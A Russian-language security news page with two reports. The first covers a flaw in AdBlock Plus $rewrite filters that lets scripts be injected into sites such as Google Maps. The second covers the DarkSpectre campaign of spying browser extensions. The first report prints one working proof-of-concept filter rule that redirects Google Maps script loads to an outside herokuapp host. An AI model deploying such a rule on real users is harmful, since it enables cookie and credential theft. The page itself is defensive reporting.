Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Новый эксплойт, недавно обнаруженный экспертом в области кибербезопасности, способен использовать фильтры популярных блокировщиков рекламы Adblock Plus, AdBlock и uBlocker для инъекции сторонних скриптов в код страниц веб-сайтов.

Adblock Plus, AdBlock и uBlocker представляют собой специальные расширения для браузеров, помогающие пользователям скрывать надоедливую и агрессивную рекламу со страниц ресурсов.

База пользователей этих блокировщиков насчитывает более 10 миллионов человек. Таким образом, если злоумышленнику удастся внедрить вредоносные скрипты, он получит возможность красть файлы cookie, учетные данные, а также осуществлять нужные ему редиректы.

Работа блокировщиков рекламы завязана на использовании списка URL, на которых был отмечен рекламный контент или даже вредоносное поведение. Тот же Adblock Plus, например, запрещает браузеру подключаться к этим ссылкам, следовательно, рекламные скрипты не в состоянии загрузиться.

Вся проблема кроется в опции списка фильтров под названием $rewrite, которая была представлена в 2018 году (в Adblocker Plus 3.2). Эта функция позволяет разработчику подменить запрос, совпадающий с определенным регулярным выражением, другим URL.

Единственное условие — заменяемая строка должна быть относительным URL-адресом. Таким образом, если запрос для example.com/ad.gif заменить на example.com/puppies.gif, пользователь вместо рекламы увидит картинку с милыми щенками.

При этом разработчики предусмотрели защиту, запретив запросы вида SCRIPT, SUBDOCUMENT, OBJECT и OBJECT_SUBREQUEST — с ними эта функция не будет работать.

Однако исследователь Армин Себастьян нашел способ, позволяющий создать правило, благодаря которому сторонний скрипт можно встроить в контент конкретного сайта.

Для этого потребуется найти ресурс, который допускает загрузку скриптов со сторонних доменов, а также использует XMLHttpRequest или Fetch для загрузки скриптов. Сам Себастьян довольно быстро нашел такой ресурс — он использовал Google Maps для демонстрации уязвимости.

Google Maps использует XMLHttpRequest для загрузки скриптов, что позволило эксперту воспользоваться функцией фильтров $rewrite для задействования скрипта со стороннего домена. Пример:

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1

Если пользователь в этом случае посетит google[.]com/maps/, фильтр использует редиректы Google для считывания контента с majestic-ramsons.herokuapp[.]com/.

Миллионы пользователей браузеров стали жертвами расширений-шпионов

Исследователи из Koi Security рассказали о масштабной кампании с использованием расширений для браузеров, за которой, по их оценке, стоит китайская кибергруппа. Новая операция получила название DarkSpectre и затронула около 2,2 млн пользователей Chrome, Edge и Firefox.

Если учитывать более ранние кампании той же группы — ShadyPanda и GhostPoster, — общее число пострадавших превышает 8,8 млн человек за последние семь лет.

Ранее Koi уже связывала DarkSpectre с ShadyPanda — серией расширений, маскировавшихся под полезные инструменты и занимавшихся кражей данных, подменой поисковых запросов и мошенничеством. Тогда речь шла о 5,6 млн пользователей, включая более 100 расширений, часть из которых «просыпалась» только спустя годы после публикации.

Одно из таких расширений для Edge, например, активировало скрытую логику лишь через три дня после установки — очевидно, чтобы спокойно пройти модерацию в магазине. При этом исследователи обнаружили десятки так называемых «спящих» аддонов: сейчас они ведут себя безобидно, набирают аудиторию и положительные отзывы, но могут получить опасные функции с очередным обновлением.

Вторая кампания, GhostPoster, была в основном нацелена на пользователей Firefox. Под видом утилит и VPN-расширений они внедряли JavaScript-код для подмены партнёрских ссылок, трекинга и рекламных махинаций. Среди находок есть даже расширение «Google Translate» для Opera, набравшее практически миллион установок.

Самая свежая и, пожалуй, самая тревожная часть истории — так называемый Zoom Stealer. Это набор из 18 расширений для Chrome, Edge и Firefox, замаскированных под инструменты для Zoom, Google Meet и GoToWebinar. Их задача — собирать корпоративную информацию: ссылки на встречи (включая пароли), ID конференций, темы, описания, расписание и статус регистрации. Данные передаются в реальном времени через WebSocket-соединения.

Причём на этом сбор не заканчивается. Расширения вытягивают сведения о спикерах и организаторах вебинаров — имена, должности, биографии, фотографии, названия компаний, логотипы и рекламные материалы. Всё это происходит каждый раз, когда пользователь просто заходит на страницу регистрации мероприятия.

По словам исследователей, эти дополнения запрашивают доступ сразу к 28 платформам видеосвязи, включая Zoom, Microsoft Teams, Cisco WebEx и Google Meet — даже если расширению такой доступ вообще не нужен.

 

«Это не потребительское мошенничество, а инфраструктура корпоративного шпионажа, — подчёркивают специалисты Koi Security. — Пользователи действительно получали обещанную функциональность, доверяли расширениям и ставили им высокие оценки. А наблюдение шло тихо и незаметно».

Собранные данные могут использоваться для шпионажа, сложных схем социальной инженерии и масштабных операций по подмене личности. Связь кампаний с Китаем исследователи подтверждают сразу несколькими признаками: использованием серверов Alibaba Cloud, регистрациями в китайских провинциях, фрагментами кода с китайскими комментариями и мошенническими схемами, ориентированными на JD.com и Taobao.

В Koi Security считают, что это далеко не конец истории. По их словам, у DarkSpectre могут уже быть новые расширения, которые пока выглядят полностью легитимными — они «копят доверие» и просто ждут своего часа.

RSS: Новости на портале Anti-Malware.ru